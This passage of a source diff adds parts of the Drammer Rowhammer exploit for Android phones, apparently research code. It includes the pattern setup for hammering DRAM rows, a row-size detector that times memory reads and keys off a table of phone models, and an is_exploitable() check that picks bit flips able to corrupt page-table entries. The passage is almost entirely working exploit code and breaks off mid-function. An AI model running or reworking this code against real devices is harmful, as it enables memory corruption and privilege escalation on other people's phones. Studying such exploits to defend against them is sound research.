| 212 | + rand2[i] = rand() % 255; | ||
| 213 | + rand3[i] = rand() % 255; | ||
| 214 | + } | ||
| 215 | + | ||
| 216 | + pattern_t p000 = { .above = zeros, .victim = zeros, .below = zeros, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL }; | ||
| 217 | + pattern_t p001 = { .above = zeros, .victim = zeros, .below = ones, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL }; | ||
| 218 | + pattern_t p010 = { .above = zeros, .victim = ones, .below = zeros, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL }; | ||
| 219 | + pattern_t p011 = { .above = zeros, .victim = ones, .below = ones, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL }; | ||
| 220 | + pattern_t p100 = { .above = ones, .victim = zeros, .below = zeros, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL }; | ||
| 221 | + pattern_t p101 = { .above = ones, .victim = zeros, .below = ones, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL }; | ||
| 222 | + pattern_t p110 = { .above = ones, .victim = ones, .below = zeros, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL }; | ||
| 223 | + pattern_t p111 = { .above = ones, .victim = ones, .below = ones, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL }; | ||
| 224 | + | ||
| 225 | + pattern_t p00r = { .above = zeros, .victim = zeros, .below = rand3, .cur_use = 0, .max_use = 100, .reset_above = NULL, .reset_victim = NULL, .reset_below = resetter }; | ||
| 226 | + pattern_t p0r0 = { .above = zeros, .victim = rand2, .below = zeros, .cur_use = 0, .max_use = 100, .reset_above = NULL, .reset_victim = resetter, .reset_below = NULL }; | ||
| 227 | + pattern_t p0rr = { .above = zeros, .victim = rand2, .below = rand3, .cur_use = 0, .max_use = 100, .reset_above = NULL, .reset_victim = resetter, .reset_below = resetter }; | ||
| 228 | + pattern_t pr00 = { .above = rand1, .victim = zeros, .below = zeros, .cur_use = 0, .max_use = 100, .reset_above = resetter, .reset_victim = NULL, .reset_below = NULL }; | ||
| 229 | + pattern_t pr0r = { .above = rand1, .victim = zeros, .below = rand1, .cur_use = 0, .max_use = 100, .reset_above = resetter, .reset_victim = NULL, .reset_below = resetter }; | ||
| 230 | + pattern_t prr0 = { .above = rand1, .victim = rand2, .below = zeros, .cur_use = 0, .max_use = 100, .reset_above = resetter, .reset_victim = resetter, .reset_below = NULL }; | ||
| 231 | + pattern_t prrr = { .above = rand1, .victim = rand2, .below = rand3, .cur_use = 0, .max_use = 100, .reset_above = resetter, .reset_victim = resetter, .reset_below = resetter }; | ||
| 232 | + | ||
| 233 | + std::vector<struct pattern_t *> patterns; | ||
| 234 | + if (all_patterns) | ||
| 235 | + patterns = {&p000, &p001, &p010, &p011, &p100, &p101, &p110, &p111, | ||
| 236 | + &p00r, &p0r0, &p0rr, &pr00, &pr0r, &prr0, &prrr}; | ||
| 237 | + else | ||
| 238 | + patterns = {&p101, &p010}; | ||
| 239 | + | ||
| 240 | + /*** TEMPLATE */ | ||
| 241 | + printf("[MAIN] Start templating\n"); | ||
| 242 | + TMPL_run(ion_chunks, templates, patterns, timer, hammer_readcount, do_conservative); | ||
| 243 | + | ||
| 244 | + /*** CLEAN UP */ | ||
| 245 | + ION_clean_all(ion_chunks); | ||
| 246 | + | ||
| 247 | + printf("[MAIN] ION fini\n"); | ||
| 248 | + ION_fini(); | ||
| 249 | +} |
exploits/drammer/rowsize.cc
0 → 100644
| 1 | +++ a/exploits/drammer/rowsize.cc | ||
| 1 | +/* | ||
| 2 | + * Copyright 2016, Victor van der Veen | ||
| 3 | + * | ||
| 4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
| 5 | + * you may not use this file except in compliance with the License. | ||
| 6 | + * You may obtain a copy of the License at | ||
| 7 | + * | ||
| 8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
| 9 | + * | ||
| 10 | + * Unless required by applicable law or agreed to in writing, software | ||
| 11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
| 12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
| 13 | + * See the License for the specific language governing permissions and | ||
| 14 | + * limitations under the License. | ||
| 15 | + */ | ||
| 16 | + | ||
| 17 | + | ||
| 18 | +#include <algorithm> | ||
| 19 | +#include <cmath> | ||
| 20 | +#include <cstdio> | ||
| 21 | +#include <memory> | ||
| 22 | +#include <numeric> | ||
| 23 | +#include <string> | ||
| 24 | +#include <iostream> | ||
| 25 | + | ||
| 26 | +#include <stdlib.h> | ||
| 27 | +#include <sys/mman.h> | ||
| 28 | +#include <unistd.h> | ||
| 29 | + | ||
| 30 | +#include "helper.h" | ||
| 31 | +#include "ion.h" | ||
| 32 | +#include "rowsize.h" | ||
| 33 | + | ||
| 34 | +#define ROWSIZE_READCOUNT 2500000 // 2.5 million reads | ||
| 35 | +#define ROWSIZE_PAGES 64 | ||
| 36 | + | ||
| 37 | +#define DEFAULT_ROWSIZE K(64) | ||
| 38 | + | ||
| 39 | +std::vector<struct model> models = { | ||
| 40 | +// model ro.product.name board platform ion row generic name | ||
| 41 | + | ||
| 42 | +// Snapdragon 820 | ||
| 43 | +// {"SM-G935T", "hero2qltetmo", "msm8996", "msm8996", 21, 0, "Samsung Galaxy S7 Edge"}, | ||
| 44 | +// {"SAMSUNG-SM-G930A", "heroqlteuc","MSM8996", "msm8996", 21, 0, "Samsung Galaxy S7"}, | ||
| 45 | + | ||
| 46 | +// Snapdragon 810 | ||
| 47 | +// {"Nexus 6P", "angler", "angler", "msm8994", 21, 0, "Huawei Nexus 6P"}, | ||
| 48 | + {"E6853", "E6853", "msm8994", "msm8994", 21, K(64), "Sony Xperia Z5"}, | ||
| 49 | + | ||
| 50 | +// Snapdragon 808 | ||
| 51 | + {"Nexus 5X", "bullhead", "bullhead", "msm8992", 21, K(64), "LG Nexus 5X"}, | ||
| 52 | + {"LG-H960", "pplus_global_com", "msm8992", "msm8992", 21, K(64), "LG V10"}, | ||
| 53 | + {"LG-H815", "p1_global_com", "msm8992", "msm8992", 21, K(64), "LG G4"}, | ||
| 54 | + | ||
| 55 | + {"C1905", "cm_nicki", "qcom", "msm8960", 22, K(32), "Sony Xperia M"}, | ||
| 56 | + | ||
| 57 | +// Snapdragon 805 | ||
| 58 | + {"SM-G901F", "kccat6xx", "APQ8084", "apq8084", 21, K(128), "Samsung Galaxy S5 Plus"}, | ||
| 59 | +// {"SM-N910V", "trltevzw", "APQ8084", "apq8084", 21, 0, "Samsung Galaxy Note 4"}, | ||
| 60 | + | ||
| 61 | +// Snapdragon 800 | ||
| 62 | + {"Nexus 5", "hammerhead", "hammerhead", "msm8974", 21, K(64), "LG Nexus 5"}, | ||
| 63 | + {"A0001", "bacon", "MSM8974", "msm8974", 21, K(128), "OnePlus One"}, | ||
| 64 | + {"SM-G870F", "klteactivexx", "MSM8974", "msm8974", 21, K(64), "Samsung Galaxy S5 Active"}, | ||
| 65 | +// {"SM-G900T", "kltetmo", "MSM8974", "msm8974", 21, 0, "Samsung Galaxy S5"}, | ||
| 66 | + | ||
| 67 | +// Snapdragon 410: | ||
| 68 | +// {"SM-A500FU", "a5ultexx", "MSM8916", "msm8916", 21, 0, "Samsung Galaxy A5"}, | ||
| 69 | +// {"MotoG3", "osprey_retus", "msm8916", "msm8916", 21, 0, "Motorola Moto G 3rd Gen"}, | ||
| 70 | + {"GT-I9195I", "serranoveltexx", "MSM8916", "msm8916", 21, K(32), "Samsung Galaxy S4 Mini"}, | ||
| 71 | + {"KIW-L21", "KIW-L21", "KIW-L21", "msm8916", 21, K(32), "Huawei Honor 5X"}, | ||
| 72 | + {"MotoE2(4G-LTE)", "surnia_reteu","msm8916", "msm8916", 21, K(32), "Motorola Moto E 2nd Gen"}, | ||
| 73 | + {"MotoG3", "osprey_reteu", "msm8916", "msm8916", 21, K(32), "Motorola Moto G 3rd Gen"}, | ||
| 74 | + {"HUAWEI RIO-L01", "RIO-L01", "RIO-L01", "msm8916", 21, K(64), "Huawei GX8/G8"}, | ||
| 75 | + {"HTC One M8s","m8qlul_htc_europe","msm8939", "msm8916", 21, K(64), "HTC One M8s"}, | ||
| 76 | + | ||
| 77 | +// Snapdragon 400: | ||
| 78 | + {"XT1064", "titan_retuaws", "MSM8226", "msm8226", 21, K(32), "Motorola Moto G 2nd Gen"}, | ||
| 79 | + {"XT1068", "titan_retaildsds", "MSM8226", "msm8226", 21, K(32), "Motorola Moto G 2nd Gen"}, | ||
| 80 | +// {"LG-V410", "e7lte_att_us", "MSM8226", "msm8226", 21, 0, "LG G Pad 7.0"}, | ||
| 81 | + | ||
| 82 | + {"SM-J320FN", "j3xnltexx", "SC9830I", "sc8830", 2, K(32), "Samsung Galaxy J3 2016"}, | ||
| 83 | + {"SM-A310F", "a3xeltexx", "universal7580", "exynos5", 4, K(64), "Samsung Galaxy A3 2016"}, // not sure about the rowsize... | ||
| 84 | + {"SM-A700F", "a7altexx", "universal5430", "exynos5", 4, K(128), "Samsung Galaxy A7"}, | ||
| 85 | + {"SM-G920F", "zerofltexx", "universal7420", "exynos5", 4, K(128), "Samsung Galaxy S6"}, | ||
| 86 | + {"SM-G935F", "hero2ltexx", "universal8890", "exynos5", 4, K(256), "Samsung Galaxy S7 Edge"}, | ||
| 87 | + {"SM-G930F", "heroltexx", "universal8890", "exynos5", 4, K(256), "Samsung Galaxy S7"}, | ||
| 88 | +// {"SM-T710", "gts28wifixx", "universal5433", "exynos5", 4, 0, "Samsung Galaxy Tab S2 8.0"}, | ||
| 89 | + {"SM-G935F", "hero2ltexx", "universal8890", "exynos5", 4, K(256), "Samsung Galaxy S7 Edge"}, | ||
| 90 | + {"SM-G930F", "heroltexx", "universal8890", "exynos5", 4, K(256), "Samsung Galaxy S7"}, | ||
| 91 | +// {"SM-T710", "gts28wifixx", "universal5433", "exynos5", 4, 0, "Samsung Galaxy Tab S2 8.0"}, | ||
| 92 | +// {"SM-T810", "gts210wifixx", "universal5433", "exynos5", 4, 0, "Samsung Galaxy Tab S2 9.7"}, | ||
| 93 | + { "SM-N910C", "treltexx", "universal5433", "exynos5", 4, K(64), "Samsung Galaxy Note 4"}, | ||
| 94 | + | ||
| 95 | + // Snapdragon S4 | ||
| 96 | +// {"AOSP on Mako", "full_mako", "MAKO", "msm8960", 21, 0, ""}, | ||
| 97 | + | ||
| 98 | + {"ALE-L21", "ALE-L21", "BalongV8R1SFT", "hi6210sft",1, K(32), "Huawei P8 Lite"}, | ||
| 99 | + {"EVA-L09", "EVA-L09", "EVA-L09", "hi3650", 1, K(64), "Huawei P9"}, | ||
| 100 | + {"HUAWEI VNS-L31", "VNS-L31", "VNS-L31", "hi6250", 1, K(32), "Huawei P9 Lite"}, | ||
| 101 | + | ||
| 102 | + {"NEO6_LTE", "NEO6_LTE", "", "mt6735", 1, K(32), "Odys Neo 6"}, | ||
| 103 | + | ||
| 104 | + {"HTC Desire 830 dual sim","a51cml_dtul_00401","", "mt6753", 1, K(64), "HTC Desire 830"}, | ||
| 105 | + | ||
| 106 | + {"E5603", "E5603", "", "mt6795", 1, K(64), "Sony Xperia M5"} | ||
| 107 | + | ||
| 108 | + | ||
| 109 | + // MT6572 | ||
| 110 | +// {"Goophone i5C", "mbk72_wet_jb3", "mbk72_wet_jb3", "", 21, 0, "Goophone i5C"}, | ||
| 111 | + | ||
| 112 | + // MT8735 | ||
| 113 | + | ||
| 114 | + | ||
| 115 | +}; | ||
| 116 | + | ||
| 117 | +int rowsize; | ||
| 118 | + | ||
| 119 | +uint64_t compute_mad(std::vector<uint64_t> &v) { | ||
| 120 | + uint64_t median = compute_median(v); | ||
| 121 | + | ||
| 122 | + std::vector<uint64_t> absolute_deviations; | ||
| 123 | + for (auto it : v) { | ||
| 124 | + if (it < median) absolute_deviations.push_back( median - it ); | ||
| 125 | + else absolute_deviations.push_back (it - median ); | ||
| 126 | + } | ||
| 127 | + sort(absolute_deviations.begin(), absolute_deviations.end()); | ||
| 128 | + return compute_median(absolute_deviations); | ||
| 129 | +} | ||
| 130 | + | ||
| 131 | +uint64_t compute_iqr(std::vector<uint64_t> &v, uint64_t *q1, uint64_t *q2, uint64_t *q3) { | ||
| 132 | + std::vector<uint64_t> tmp = v; | ||
| 133 | + sort(tmp.begin(), tmp.end()); | ||
| 134 | + auto const i1 = tmp.size() / 4; | ||
| 135 | + auto const i2 = tmp.size() / 2; | ||
| 136 | + auto const i3 = i1 + i2; | ||
| 137 | + std::nth_element(tmp.begin(), tmp.begin() + i1, tmp.end()); | ||
| 138 | + std::nth_element(tmp.begin() + i1 + 1, tmp.begin() + i2, tmp.end()); | ||
| 139 | + std::nth_element(tmp.begin() + i2 + 1, tmp.begin() + i3, tmp.end()); | ||
| 140 | + *q1 = tmp[i1]; | ||
| 141 | + *q2 = tmp[i2]; | ||
| 142 | + *q3 = tmp[i3]; | ||
| 143 | + return (tmp[i3] - tmp[i1]); | ||
| 144 | +} | ||
| 145 | + | ||
| 146 | +std::string getprop(std::string property) { | ||
| 147 | + std::string cmd = "/system/bin/getprop "; | ||
| 148 | + cmd += property; | ||
| 149 | + | ||
| 150 | + char buffer[128]; | ||
| 151 | + std::string value = ""; | ||
| 152 | + std::shared_ptr<FILE> pipe(popen(cmd.c_str(), "r"), pclose); | ||
| 153 | + if (!pipe) { | ||
| 154 | + perror("popen failed"); | ||
| 155 | + return value; | ||
| 156 | + } | ||
| 157 | + while (!feof(pipe.get())) { | ||
| 158 | + if (fgets(buffer, 128, pipe.get()) != NULL) | ||
| 159 | + value += buffer; | ||
| 160 | + } | ||
| 161 | + value.erase(std::remove(value.begin(), value.end(), '\n'), value.end()); | ||
| 162 | + return value; | ||
| 163 | +} | ||
| 164 | + | ||
| 165 | +#define KNOWN_MODEL 2 | ||
| 166 | +#define FAMILIAR_MODEL 1 | ||
| 167 | +#define UNKNOWN_MODEL 0 | ||
| 168 | +struct model *get_model(int *familiarity) { | ||
| 169 | + std::string model = getprop("ro.product.model"); | ||
| 170 | + print("[RS] ro.product.model: %s\n", model.c_str()); | ||
| 171 | + | ||
| 172 | + std::string name = getprop("ro.product.name"); | ||
| 173 | + print("[RS] ro.product.name: %s\n",name.c_str()); | ||
| 174 | + | ||
| 175 | + std::string board = getprop("ro.product.board"); | ||
| 176 | + print("[RS] ro.product.board: %s\n", board.c_str()); | ||
| 177 | + | ||
| 178 | + std::string platform = getprop("ro.board.platform"); | ||
| 179 | + print("[RS] ro.board.platform: %s\n", platform.c_str()); | ||
| 180 | + | ||
| 181 | + for (std::vector<struct model>::iterator it = models.begin(); | ||
| 182 | + it != models.end(); | ||
| 183 | + ++it) { | ||
| 184 | + struct model *m = &(*it); | ||
| 185 | + if (m->model == model || m->name == name) { | ||
| 186 | + print("[RS] known model: %s\n", m->generic_name.c_str()); | ||
| 187 | + *familiarity = KNOWN_MODEL; | ||
| 188 | + return m; | ||
| 189 | + } | ||
| 190 | + } | ||
| 191 | + | ||
| 192 | + for (std::vector<struct model>::iterator it = models.begin(); | ||
| 193 | + it != models.end(); | ||
| 194 | + ++it) { | ||
| 195 | + struct model *m = &(*it); | ||
| 196 | + if (m->board == board || m->platform == platform) { | ||
| 197 | + printf("[RS] familiar model: %s\n", m->generic_name.c_str()); | ||
| 198 | + *familiarity = FAMILIAR_MODEL; | ||
| 199 | + return m; | ||
| 200 | + } | ||
| 201 | + } | ||
| 202 | + | ||
| 203 | + *familiarity = UNKNOWN_MODEL; | ||
| 204 | + return NULL; | ||
| 205 | +} | ||
| 206 | + | ||
| 207 | + | ||
| 208 | +/* auto detect row size */ | ||
| 209 | +int RS_autodetect(void) { | ||
| 210 | + | ||
| 211 | + print("[RS] Trying getprop\n"); | ||
| 212 | + int familiarity; | ||
| 213 | + struct model *m = get_model(&familiarity); | ||
| 214 | + if (familiarity == KNOWN_MODEL) { | ||
| 215 | + rowsize = m->rowsize; | ||
| 216 | + return rowsize; | ||
| 217 | + } | ||
| 218 | + | ||
| 219 | + | ||
| 220 | + print("[RS] Allocating 256 ion chunk\n"); | ||
| 221 | + struct ion_data data; | ||
| 222 | + data.handle = ION_alloc(K(256)); | ||
| 223 | + if (data.handle == 0) { | ||
| 224 | + perror("Could not allocate 256K chunk for row size detection"); | ||
| 225 | + exit(EXIT_FAILURE); | ||
| 226 | + } | ||
| 227 | + data.len = K(256); | ||
| 228 | + ION_mmap(&data); | ||
| 229 | + | ||
| 230 | + print("[RS] Reading from page 0 and page x (x = 0..%d)\n",ROWSIZE_PAGES); | ||
| 231 | + std::vector<uint64_t> deltas; | ||
| 232 | + int page1 = 0; | ||
| 233 | + volatile uintptr_t *virt1 = (volatile uintptr_t *) ((uint64_t) data.mapping + (page1 * PAGESIZE)); | ||
| 234 | + for (int page2 = 0; page2 < ROWSIZE_PAGES; page2++) { | ||
| 235 | + volatile uintptr_t *virt2 = (volatile uintptr_t *) ((uint64_t) data.mapping + (page2 * PAGESIZE)); | ||
| 236 | + | ||
| 237 | + uint64_t t1 = get_ns(); | ||
| 238 | + for (int i = 0; i < ROWSIZE_READCOUNT; i++) { | ||
| 239 | + *virt1; | ||
| 240 | + *virt2; | ||
| 241 | + } | ||
| 242 | + uint64_t t2 = get_ns(); | ||
| 243 | + deltas.push_back((t2 - t1) / ROWSIZE_READCOUNT); | ||
| 244 | + | ||
| 245 | + print("%llu ", deltas.back()); | ||
| 246 | + } | ||
| 247 | + print("\n"); | ||
| 248 | + | ||
| 249 | + if (munmap(data.mapping, data.len)) { | ||
| 250 | + perror("Could not munmap"); | ||
| 251 | + exit(EXIT_FAILURE); | ||
| 252 | + } | ||
| 253 | + if (close(data.fd)) { | ||
| 254 | + perror("Could not close"); | ||
| 255 | + exit(EXIT_FAILURE); | ||
| 256 | + } | ||
| 257 | + if (ION_free(data.handle)) { | ||
| 258 | + perror("Could not free"); | ||
| 259 | + exit(EXIT_FAILURE); | ||
| 260 | + } | ||
| 261 | + | ||
| 262 | + uint64_t q1, q2, q3; | ||
| 263 | + uint64_t iqr = compute_iqr (deltas, &q1, &q2, &q3); | ||
| 264 | + uint64_t median = compute_median(deltas); | ||
| 265 | + uint64_t mad = compute_mad (deltas); | ||
| 266 | + | ||
| 267 | + print("[RS] Median: %llu\n", median); | ||
| 268 | + print("[RS] MAD: %llu\n", mad); | ||
| 269 | + print("[RS] IQR: %llu\n", iqr); | ||
| 270 | + | ||
| 271 | + // MAD, IQR and standard deviation all need some form of correction... :( | ||
| 272 | + iqr += 5; | ||
| 273 | + print("[RS] Corrected IQR: %llu\n", iqr); | ||
| 274 | + | ||
| 275 | + | ||
| 276 | + /* try simple algorithm first */ | ||
| 277 | + int count = 0; | ||
| 278 | + for (auto it: deltas) { | ||
| 279 | + if (it < 2*median) { | ||
| 280 | + count++; | ||
| 281 | + } else { | ||
| 282 | + break; | ||
| 283 | + } | ||
| 284 | + } | ||
| 285 | + printf("count: %d\n", count); | ||
| 286 | + rowsize = count * 4096; | ||
| 287 | + | ||
| 288 | + /* do more advanced stuff if the rowsize is absurd */ | ||
| 289 | + if (rowsize >= K(128)) { | ||
| 290 | + | ||
| 291 | + print("[RS] Sequences: "); | ||
| 292 | + std::vector<uint64_t> seq_normal; | ||
| 293 | + std::vector<uint64_t> seq_outlier; | ||
| 294 | + int sn = 0; int so = 0; | ||
| 295 | + for (auto it : deltas) { | ||
| 296 | + if (it < q1 - 1.5*iqr || it > q3 + 1.5*iqr) { | ||
| 297 | + if (so != 0) { | ||
| 298 | + seq_normal.push_back(so); | ||
| 299 | + print("%d ", so); | ||
| 300 | + so = 0; | ||
| 301 | + } | ||
| 302 | + sn++; | ||
| 303 | + } else { | ||
| 304 | + if (sn != 0) { | ||
| 305 | + seq_outlier.push_back(sn); | ||
| 306 | + print("%d ", sn); | ||
| 307 | + sn = 0; | ||
| 308 | + } | ||
| 309 | + so++; | ||
| 310 | + } | ||
| 311 | + } | ||
| 312 | + printf("\n"); | ||
| 313 | + | ||
| 314 | + rowsize = (compute_median(seq_normal) + compute_median(seq_outlier)) * 4096; | ||
| 315 | + } | ||
| 316 | + | ||
| 317 | + | ||
| 318 | + print("[RS] Detected row size: %d\n", rowsize); | ||
| 319 | + if (!VALID_ROWSIZES.count(rowsize)) { | ||
| 320 | + if (familiarity == FAMILIAR_MODEL) { | ||
| 321 | + print("[RS] WARNING! Weird row size detected, assuming familiar model's rowsize %d\n", m->rowsize); | ||
| 322 | + rowsize = m->rowsize; | ||
| 323 | + } else { | ||
| 324 | + print("[RS] WARNING! Weird row size detected, assuming %d\n", DEFAULT_ROWSIZE); | ||
| 325 | + rowsize = DEFAULT_ROWSIZE; | ||
| 326 | + } | ||
| 327 | + } | ||
| 328 | + | ||
| 329 | + return rowsize; | ||
| 330 | +} |
exploits/drammer/rowsize.h
0 → 100644
| 1 | +++ a/exploits/drammer/rowsize.h | ||
| 1 | +/* | ||
| 2 | + * Copyright 2016, Victor van der Veen | ||
| 3 | + * | ||
| 4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
| 5 | + * you may not use this file except in compliance with the License. | ||
| 6 | + * You may obtain a copy of the License at | ||
| 7 | + * | ||
| 8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
| 9 | + * | ||
| 10 | + * Unless required by applicable law or agreed to in writing, software | ||
| 11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
| 12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
| 13 | + * See the License for the specific language governing permissions and | ||
| 14 | + * limitations under the License. | ||
| 15 | + */ | ||
| 16 | + | ||
| 17 | +#ifndef __ROWSIZE_H__ | ||
| 18 | +#define __ROWSIZE_H__ | ||
| 19 | + | ||
| 20 | +#include <set> | ||
| 21 | + | ||
| 22 | +#include "helper.h" | ||
| 23 | + | ||
| 24 | +const std::set<int> VALID_ROWSIZES = {K(16), K(32), K(64), K(128), K(256)}; | ||
| 25 | + | ||
| 26 | +#define PAGES_PER_ROW (rowsize / PAGESIZE) | ||
| 27 | +#define MAX_ROWSIZE K(256) | ||
| 28 | + | ||
| 29 | +int RS_autodetect(void); | ||
| 30 | + | ||
| 31 | +struct model { | ||
| 32 | + std::string model; // ro.product.model | ||
| 33 | + std::string name; // ro.product.name | ||
| 34 | + std::string board; // ro.product.board | ||
| 35 | + std::string platform; // ro.board.platform | ||
| 36 | + int kmalloc_heap; | ||
| 37 | + int rowsize; | ||
| 38 | + std::string generic_name; | ||
| 39 | +}; | ||
| 40 | + | ||
| 41 | + | ||
| 42 | +#endif // __ROWSIZE_H__ |
exploits/drammer/templating.cc
0 → 100644
| 1 | +++ a/exploits/drammer/templating.cc | ||
| 1 | +/* | ||
| 2 | + * Copyright 2016, Victor van der Veen | ||
| 3 | + * | ||
| 4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
| 5 | + * you may not use this file except in compliance with the License. | ||
| 6 | + * You may obtain a copy of the License at | ||
| 7 | + * | ||
| 8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
| 9 | + * | ||
| 10 | + * Unless required by applicable law or agreed to in writing, software | ||
| 11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
| 12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
| 13 | + * See the License for the specific language governing permissions and | ||
| 14 | + * limitations under the License. | ||
| 15 | + */ | ||
| 16 | + | ||
| 17 | + | ||
| 18 | +#include <assert.h> | ||
| 19 | +#include <stdlib.h> | ||
| 20 | + | ||
| 21 | +#include "ion.h" | ||
| 22 | +#include "rowsize.h" | ||
| 23 | +#include "templating.h" | ||
| 24 | + | ||
| 25 | +extern int rowsize; | ||
| 26 | + | ||
| 27 | +#define PAGES_PER_ROW (rowsize / PAGESIZE) | ||
| 28 | + | ||
| 29 | +#define FLIP_DIRECTION_STR(x) (((x) == ONE_TO_ZERO) ? "1-to-0" : "0-to-1") | ||
| 30 | + | ||
| 31 | +//#define DEBUG | ||
| 32 | + | ||
| 33 | +#ifdef DEBUG | ||
| 34 | +#define dprintf(...) printf(__VA_ARGS__) | ||
| 35 | +#else | ||
| 36 | +#define dprintf(...) do {} while (0) | ||
| 37 | +#endif | ||
| 38 | + | ||
| 39 | + | ||
| 40 | +int spc_flips = 0; | ||
| 41 | + | ||
| 42 | +bool is_exploitable(struct template_t *tmpl) { | ||
| 43 | + int rows_per_chunk = tmpl->ion_len / rowsize; | ||
| 44 | + | ||
| 45 | + dprintf("- bits flipped : %6d\n", tmpl->bits_set); | ||
| 46 | + if (tmpl->bits_set != 1) { | ||
| 47 | + dprintf("[ :( ] We support only single flips\n"); | ||
| 48 | + return false; | ||
| 49 | + } | ||
| 50 | + | ||
| 51 | + dprintf("- index in page table: %6d\n", tmpl->word_index_in_pt); | ||
| 52 | + if (tmpl->word_index_in_pt < 0) { | ||
| 53 | + dprintf("[ :( ] Flip will never fall in hardware page table\n"); | ||
| 54 | + return false; | ||
| 55 | + } | ||
| 56 | + | ||
| 57 | + dprintf("- index in word : %6d\n", tmpl->bit_index_in_word); | ||
| 58 | + if (tmpl->bit_index_in_word < 12) { | ||
| 59 | + dprintf("[ :( ] Flip is in properties of PTE\n"); | ||
| 60 | + return false; | ||
| 61 | + } | ||
| 62 | + | ||
| 63 | + | ||
| 64 | + dprintf("- flip direction : %s\n", FLIP_DIRECTION_STR(tmpl->direction)); | ||
| 65 | + | ||
| 66 | + dprintf("- relative target pfn: %6d (row: %6d, idx: %2d, 16k: %6d)\n", tmpl->target_pfn, tmpl->target_pfn_row, tmpl->target_page_index_in_row, tmpl->target_16k_pfn); | ||
| 67 | + dprintf("- relative source pfn: %6d (row: %6d, idx: %2d, 16k: %6d)\n", tmpl->source_pfn, tmpl->source_pfn_row, tmpl->source_page_index_in_row, tmpl->source_16k_pfn); | ||
| 68 | + if (tmpl->source_pfn_row < 0 || tmpl->source_pfn_row >= rows_per_chunk) { | ||
| 69 | + dprintf("[ :( ] Flip offset requires illegal source pfn\n"); | ||
| 70 | + return false; | ||
| 71 | + } | ||
| 72 | + | ||
| 73 | + if (tmpl->direction == ZERO_TO_ONE) { | ||
| 74 | + /* A 0-to-1 flip in the PTE acts as an addition. If the new PFN (the | ||
| 75 | + * page table) is in the same row as the old PFN (the mapped ION data chunk), | ||
| 76 | + * it should be (1) ahead of the old one, and (2) fall in a different | ||
| 77 | + * 'minimum ION chunk boundary' (dictated by what ION allocations go | ||
| 78 | + * through slab, usually < 16K). */ | ||
| 79 | + if (tmpl->source_pfn_row == tmpl->target_pfn_row) { | ||
| 80 | + if (tmpl->source_16k_pfn >= tmpl->target_16k_pfn) { | ||
| 81 | + dprintf("[ :( ] Target 16k pfn not after source 16k pfn\n"); | ||
| 82 | + return false; | ||
| 83 | + } | ||
| 84 | + } else if (tmpl->source_pfn_row > tmpl->target_pfn_row) { | ||
| 85 | + dprintf("[ :( ] Target row not after source row\n"); | ||
| 86 | + return false; | ||
| 87 | + } | ||
| 88 | + } else { | ||
| 89 | + /* A 1-to-0 flip in the PTE acts as an addition, so it's all backwards | ||
| 90 | + * now */ | ||
| 91 | + if (tmpl->source_pfn_row == tmpl->target_pfn_row) { | ||
| 92 | + if (tmpl->source_16k_pfn <= tmpl->target_16k_pfn) { | ||
| 93 | + dprintf("[ :( ] Target 16k pfn not before source 16k pfn\n"); | ||
| 94 | + return false; | ||
| 95 | + } | ||
| 96 | + } else if (tmpl->source_pfn_row < tmpl->target_pfn_row) { | ||
| 97 | + dprintf("[ :( ] Target row not before source row\n"); | ||
| 98 | + return false; | ||
| 99 | + } | ||
| 100 | + } | ||
| 101 | + | ||
| 102 | + dprintf("[ :) ] FLIP MIGHT BE EXPLOITABLE!\n"); | ||
| 103 | + return true; | ||
| 104 | +} | ||
| 105 | + | ||
| 106 | +bool template_exists(std::vector<struct template_t *> &templates, | ||
| 107 | + uintptr_t virt, uint32_t org_byte, uint32_t new_byte) { | ||
| 108 | + for (auto tmpl : templates) { | ||
| 109 | + if (tmpl->virt_addr == virt && | ||
| 110 | + tmpl->org_byte == org_byte && | ||
| 111 | + tmpl->new_byte == new_byte) return true; | ||
| 112 | + } | ||
| 113 | + return false; | ||
| 114 | +} | ||
| 115 | + | ||
| 116 | + | ||
| 117 | +void handle_flip(uint8_t *virt_row, | ||
| 118 | + uintptr_t *virt_above, | ||
| 119 | + uintptr_t *virt_below, | ||
| 120 | + uint8_t *pattern, | ||
| 121 | + std::vector<struct template_t *> &templates, int index_in_row, struct ion_data *chunk) { | ||
| 122 | + | ||
| 123 | + struct template_t *tmpl = (struct template_t *) malloc(sizeof(struct template_t)); | ||
| 124 | + | ||
| 125 | + tmpl->virt_row = (uintptr_t) virt_row; | ||
| 126 | + tmpl->virt_addr = (uintptr_t) virt_row + index_in_row; | ||
| 127 | + tmpl->phys_addr = (uintptr_t) get_phys_addr(tmpl->virt_addr); | ||
| 128 | + tmpl->virt_page = (uintptr_t) (tmpl->virt_addr / PAGESIZE) * PAGESIZE; | ||
| 129 | + tmpl->virt_above = (uintptr_t) virt_above; | ||
| 130 | + tmpl->virt_below = (uintptr_t) virt_below; | ||
| 131 | + | ||
| 132 | + tmpl->org_byte = (uint8_t) pattern[index_in_row]; | ||
| 133 | + tmpl->new_byte = (uint8_t) virt_row[index_in_row]; | ||
| 134 | + tmpl->org_word = (uint32_t) ((uint32_t *) pattern)[index_in_row / 4]; | ||
| 135 | + tmpl->new_word = (uint32_t) ((uint32_t *)virt_row)[index_in_row / 4]; | ||
